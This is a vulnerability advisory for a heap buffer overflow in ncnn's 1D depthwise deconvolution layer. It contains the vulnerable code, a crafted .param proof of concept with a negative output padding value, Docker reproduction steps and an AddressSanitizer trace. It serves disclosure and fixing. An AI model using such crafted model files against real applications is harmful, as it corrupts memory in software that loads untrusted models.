Heap Buffer Overflow in 1D Depthwise Deconvolution
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolutiondepthwise1d.cpp:95 in deconvolutiondepthwise1d
Sanitizer verdict: heap-buffer-overflow
Summary
DeconvolutionDepthWise1D adds the model-supplied output_pad_right directly into its output width without bounding it, so a negative value shrinks the allocation while leaving the kernel traversal at full length. A crafted .param/.bin pair fed to tools/ncnnoptimize makes the layer accumulate 22 kernel taps into a one-element output row during ModelWriter::shape_inference(), writing past the heap allocation and aborting the optimizer; the same path runs in any application that infers with this layer.
Detail
The untrusted field is DeconvolutionDepthWise1D parameter key 18, output_pad_right. DeconvolutionDepthWise1D::forward folds it straight into the output width and allocates from that result, with no lower bound and no relationship enforced against kernel_extent_w:
// src/layer/deconvolutiondepthwise1d.cpp:169
const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
int outw = (w - 1) * stride_w + kernel_extent_w + output_pad_right;
Mat top_blob_bordered;
if (pad_left > 0 || pad_right > 0 || output_w > 0)
{
top_blob_bordered.create(outw, num_output, elemsize, opt.workspace_allocator);
}
// src/layer/deconvolutiondepthwise1d.cpp:86
for (int j = 0; j < w; j++)
{
float* outptr = (float*)out + j * stride_w;
const float val = inptr[j];
for (int k = 0; k < kernel_w; k++)
{
float w = kptr[k];
outptr[k * dilation_w] += val * w;
}
}
The inner accumulation loop is bounded by kernel_w and steps by dilation_w, so it touches outptr[0] through outptr[(kernel_w - 1) * dilation_w] regardless of how wide the allocation actually is. outw is the only thing that shrank.
The PoC uses Input input 0 1 data 0=1 1=1 and DeconvolutionDepthWise1D deconv 1 1 data output 0=1 1=22 2=1 3=1 4=0 5=0 6=22 7=1 18=-21: num_output=1, kernel_w=22, dilation_w=1, stride_w=1, group=1, and output_pad_right=-21. With w = 1 the width computation is (1 - 1) * 1 + 22 + (-21) = 1, so top_blob_bordered.create(1, 1, ...) produces the 84-byte block ASan names (4 bytes of payload, cstep padding to 16, a 4-byte refcount, and the 64-byte NCNN_MALLOC_OVERREAD pad). Because h == group == outh == 1, the depthwise branch runs, and the k loop writes outptr[0] through outptr[21]. Offsets 1 through 20 corrupt the padding and the Mat refcount word inside the allocation; outptr[21] sits at byte offset 84, exactly one past the region, and the sanitizer aborts. Larger kernel_w with a correspondingly negative output_pad_right extends the overwrite arbitrarily far past the buffer.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-in-1d-depthwise-deconvolution && cd ncnn-poc-heap-buffer-overflow-in-1d-depthwise-deconvolution
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1
DeconvolutionDepthWise1D deconv 1 1 data out 0=1 1=22 6=22 18=-21
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000154 at pc 0x61b41e3119dc bp 0x7ffddaee3060 sp 0x7ffddaee3050
READ of size 4 at 0x50e000000154 thread T0
#0 0x61b41e3119db in deconvolutiondepthwise1d /ncnn/src/layer/deconvolutiondepthwise1d.cpp:95
#1 0x61b41e315dda in ncnn::DeconvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolutiondepthwise1d.cpp:186
#2 0x61b415855f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x61b415847b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x61b4158a79e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x61b4157393c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x61b4157b6eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x78ba33cd91c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x78ba33cd928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x61b415736624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000154 is located 0 bytes after 84-byte region [0x50e000000100,0x50e000000154)
allocated by thread T0 here:
#0 0x78ba34352f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x61b4157cb68e in fastMalloc /ncnn/src/allocator.h:62
#2 0x61b4157cb68e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
#3 0x61b4158069c2 in ncnn::Mat::create(int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:371
#4 0x61b41e315b31 in ncnn::DeconvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolutiondepthwise1d.cpp:181
#5 0x61b415855f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#6 0x61b415847b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#7 0x61b4158a79e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#8 0x61b4157393c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#9 0x61b4157b6eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#10 0x78ba33cd91c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#11 0x78ba33cd928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#12 0x61b415736624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/deconvolutiondepthwise1d.cpp:95 in deconvolutiondepthwise1d
Credit
Zheng Yu @ DepthFirst